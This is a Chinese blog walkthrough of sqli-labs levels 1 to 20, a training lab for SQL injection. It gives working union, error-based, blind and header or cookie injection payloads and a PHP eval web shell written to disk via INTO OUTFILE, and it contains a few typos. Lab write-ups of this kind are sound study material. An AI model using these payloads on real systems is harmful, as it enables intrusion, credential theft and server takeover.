sqli-labs通关之路-上

Page1

less-1基于错误的GET单引号字符型注入

首先在末尾添加单引号

?id=1' 报错

然后猜解列数

?id=1 order by 1 --+ 正常

?id=1 order by 4 --+ 报错

说明列数为3

联合查询

?id=-1'union select 1,2,3--+

回显结果为2和3

查看后端源码得查询语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

则我们构造的出查询语句为

SELECT * FROM users WHERE id='-1'union select 1,2,3--+ LIMIT 0,1

因为报错以及--+注释导致真正执行的查询语句为

select 1,2,3

之后根据显示在页面上的数字就可以知道相对应的“通道”,只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在页面显示我们想要的结果。

信息收集

用户名:root@localhost

?id=-1'union select 1,user(),3--+

数据库名:security

?id=-1'union select 1,database(),3--+

数据库版本:5.5.44-0ubuntu0.14.04.1

?id=-1'union select 1,version(),3--+

操作系统:debian-linux-gnu

?id=-1'union select 1,@@version_complie_os,3--+

group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息

查表名:Password:emails,referers,uagents,users

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查字段名:id,username,password

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

?id=-1' union select 1,2,group_concat(username)from security.users--+

查密码:

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

?id=-1' union select 1,2,group_concat(password)from security.users--+

Less-2 基于错误的GET整型注入

对比源码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与Less-1相比缺少了单引号,因此将Less-1中Payload去掉闭合所用的单引号即可

实际注入中需注意让联合查询中前面的语句报错,导致返回后面的查询结果

?id=1 and 1=2 union select 1,2,3--

Less-3 基于错误的GET单引号变形字符型注入

查看源码

$sql="SELECT * FROM users WHERE id=($'id') LIMIT 0,1";

正常注入发现括号不能被合并,所以需要手动合并括号以确保sql语句的正常执行

Payload:?id=-1') union select 1,user(),version()--+

Less-4 基于错误的GET双引号字符型注入

查看源码

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

可以看出后端对id进行了预处理,增加了双引号

所以我们要对后端的双引号进行闭合处理

$sql="SELECT * FROM users WHERE id=("-1") union select 1,2,3--+") LIMIT 0,1";

Payload:?id=-1") union select 1,2,3--+

Less-5 双注入GET单引号字符型注入

查看源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'You are in...........';
}else{
	print_r(mysql_error());
}

可知为单引号字符型注入,由于没有数据回显,所以采用盲注,结合sqlmap等注入工具进行数据获取

Payload:?id=1' and sleep(5)--+

可以发现如果sql执行报错会回显错误,所以也可能存在显错注入

尝试报错注入:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

回显结果正确 存在报错注入

Less-6 双注入GET双引号字符型注入

查看源码

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

发现与前一关类似只不过换成了双引号,将前一关中Payload换成双引号即可

Less-7 导出文件GET字符型注入

手工测试发现?id=1'))可以进行闭合

?id=1')) order by 4--+时报错 推测有三列

闭合之后发现into_outfile关键字 猜测使用文件导出功能

可以使用此方法getshell:

?id=1')) union select 1,'<?php @eval($_POST['pass']);?>',3 into outfile 'www\html\test.php' --+

Less-8 布尔型单引号GET盲注

测试发现单引号可以闭合,无回显,尝试盲注:?id=1' and sleep(5)--+

测试库名:

长度:?id=1' and if(length(database())=8,sleep(5),sleep(9))--+

字符:?id=1' and if(substr(database(),1,1)='s',sleep(5),sleep(9))--+

ascii:?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(9))--+

Less-9 基于时间的GET单引号盲注

明显的时间盲注:?id=1' and sleep(5)--+

Less-10 基于时间的双引号盲注

双引号闭合的盲注:?id=1" and sleep(5)--+

Less-11 基于错误的POST型单引号字符型注入

万能密码尝试后登录成功 回显用户名密码 猜测为单引号闭合

之后order猜列数,union select确定回显通道

Payload:uname=admin&passwd=1' union select user(),database()#&submit=Submit

Less-12 基于错误的双引号POST型字符型变形的注入

使用") or 1 #双引号闭合万能密码登入 猜测双引号闭合

Payload:uname=admin&passwd=1") union select user(),database()#&submit=Submit

Less-13 POST单引号变形双注入

使用uname=admin') or 1 #&passwd=11&submit=Submit成功登入 发现无回显 尝试盲注

尝试'uname=admin') and sleep(5) #&passwd=11&submit=Submit确认存在盲注

尝试报错注入:1') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

回显正确 存在报错注入

Less-14 POST双引号变形双注入

测试发现uname=admin" or 1 #&passwd=11&submit=Submit成功登入 无回显 尝试盲注

测试uname=admin" and sleep(3) #&passwd=11&submit=Submit存在盲注

报错注入:uname=admin" and extractvalue(1,concat(0x7e,(select database()))) #&passwd=11&submit=Submit

Less-15 基于bool型/时间延迟单引号POST型盲注

使用admin' or 1#成功登入 说明为单引号闭合 无回显 尝试盲注

测试admin' and sleep(3)#成功 存在盲注

Less-16 基于bool型/时间延迟的双引号POST型盲注

使用admin") or 1#成功登入 说明为双引号闭合 无回显 尝试盲注

测试admin“) and sleep(3)#成功 存在盲注

Less-17 基于错误的更新查询POST注入

查看源码

接受传参 其中$uname参数会被检查 因此我们在密码处尝试注入

$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

更新语句为单引号字符型 且存在报错语句 尝试进行报错注入

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
print_r(mysql_error());

使用1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #回显正确 存在报错注入

爆表名:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

爆列名:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

爆数据:1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) #失败

尝试1' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) #获得用户名

接着1' and updatexml(1,concat(0x7e,(select username from (select username from users where username='admin' limit 0,1)test),0x7e),1) #拿到密码

Less-18 基于错误的用户代理,头部POST注入

查看源码

发现对用户名和密码的输入均进行了检查

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

但对uagent进行了插入操作 可能存在注入

$insert="INSERT INTO security.uagents (uagent, ip_address, username`) VALUES ('$uagent','$IP', $uname)";
mysql_query($insert);

使用admin admin登录成功后 发现UserAgert存在回显 尝试注入

报错注入:1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#回显正确 存在报错注入

最终执行语句为:

INSERT INTO security.uagents (uagent, ip_address, username`) VALUES ('1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))

Less-19 基于头部的Referer POST报错注入

与上一关类似 在Referer处增加单引号报错 可能为单引号闭合 尝试报错注入

Payload复用:1' ,1,extractvalue(1,concat(0x7e,(database()),0x7e)))# 回显正确 存在报错注入

Less-20 基于错误的cookie头部POST注入

首先在cookie后添加单引号 发现报错 判断其为单引号闭合

使用order by查询 判断有三列

再用admin' and 1=2 union select 1,2,3#查询获得回显通道 存在union注入

posted @ 2022-08-14 17:37  Haibara-Z3r0  阅读(62)  评论(0编辑  收藏  举报